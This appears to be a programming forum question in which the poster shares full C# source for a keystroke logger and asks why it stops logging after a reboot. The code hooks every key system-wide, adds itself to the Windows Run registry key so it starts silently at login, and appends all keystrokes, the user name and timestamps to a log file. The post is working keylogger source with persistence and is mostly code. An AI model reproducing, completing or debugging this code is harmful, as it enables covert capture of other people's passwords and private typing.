Keyboard tracking is not working properly during restart

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C#

I have written a keyboard tracking program it reads keys pressed and writen as a log file.Its works fine but my problem is i have build it for working from startup


Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());

but its process sucessfully listed in process list but key tracking is not working
properly the log file is not updating during restaring of computer


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
using System.Security.Principal;

namespace winapi
{
public partial class Form1 : Form
{
private globalKeyboardHook gkh = new globalKeyboardHook();
private int i = 0;
int c = 0;
public Form1()
{
InitializeComponent();
}


private void Form1_Load(object sender, EventArgs e)
{
StreamWriter SW;

this.SetStartup();

gkh.KeyDown += new KeyEventHandler(Form1_KeyDown);
this.HookAll();
if (File.Exists("log.txt"))
{
SW = new StreamWriter("log.txt", true);
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Close();
}
else
{
SW = new StreamWriter("log.txt", true);
SW.Write(SW.NewLine);
SW.Write(WindowsIdentity.GetCurrent().Name);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
SW.Write(SW.NewLine);
SW.Close();
}
}

private void SetStartup()
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());
}
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
this.gkh.HookedKeys.Add((Keys)key);
}
}


private void Form1_KeyDown(object sender, KeyEventArgs e)
{
i++;
string s = " ";

StreamWriter SW = new StreamWriter("log.txt", true);
switch (e.KeyCode)
{

case Keys.D1:
if (c != 0)
{ SW.Write("!"); }
c = 0;
break;

case Keys.D2:
if (c != 0)
{ SW.Write("@"); }
c = 0;
break;
case Keys.D3:
if (c != 0)
{ SW.Write("#"); }
c = 0;
break;
case Keys.D4:
if (c != 0)
{ SW.Write("$"); }
c = 0;
break;
case Keys.D5:
if (c != 0)
{ SW.Write("%"); }
c = 0;
break;
case Keys.D6:
if (c != 0)
{ SW.Write("^"); }
c = 0;
break;
case Keys.D7:
if (c != 0)
{ SW.Write("&"); }
c = 0;
break;
case Keys.D8:
if (c != 0)
{ SW.Write("*"); }
c = 0;
break;
case Keys.D9:
if (c != 0)
{ SW.Write("("); }
c = 0;
break;
case Keys.D0:
if (c != 0)
{ SW.Write(")"); }
c = 0;
break;

case Keys.Space:
SW.Write(" ");
break;

case Keys.Enter:
SW.Write(Environment.NewLine);
break;
case Keys.OemPeriod:
SW.Write(".");
break;

case Keys.LMenu:
SW.Write("{ALT}");
break;

case Keys.Oem7:
SW.Write("'");
break;
case Keys.RShiftKey:
SW.Write("");
c++;
break;
case Keys.Oemcomma:
SW.Write(",");
break;
case Keys.LShiftKey:
SW.Write("");
c++;
break;
case Keys.NumPad0:
SW.Write("0");
break;
case Keys.NumPad1:
SW.Write("1");
break;
case Keys.NumPad2:
SW.Write("2");
break;
case Keys.NumPad3:
SW.Write("3");
break;
case Keys.NumPad4:
SW.Write("4");
break;
case Keys.NumPad5:
SW.Write("5");
break;
case Keys.NumPad6:
SW.Write("6");
break;
case Keys.NumPad7:
SW.Write("7");
break;
case Keys.NumPad8:
SW.Write("8");
break;
case Keys.NumPad9:
SW.Write("9");
break;


default:
if (Control.ModifierKeys != Keys.Shift)
{
SW.Write(e.KeyCode.ToString().ToLower());
}
else
{
SW.Write(e.KeyCode);
}
break;
}
if (this.i == 80)
{
SW.Write(SW.NewLine);
this.i = 0;
}
SW.Close();
}
}
}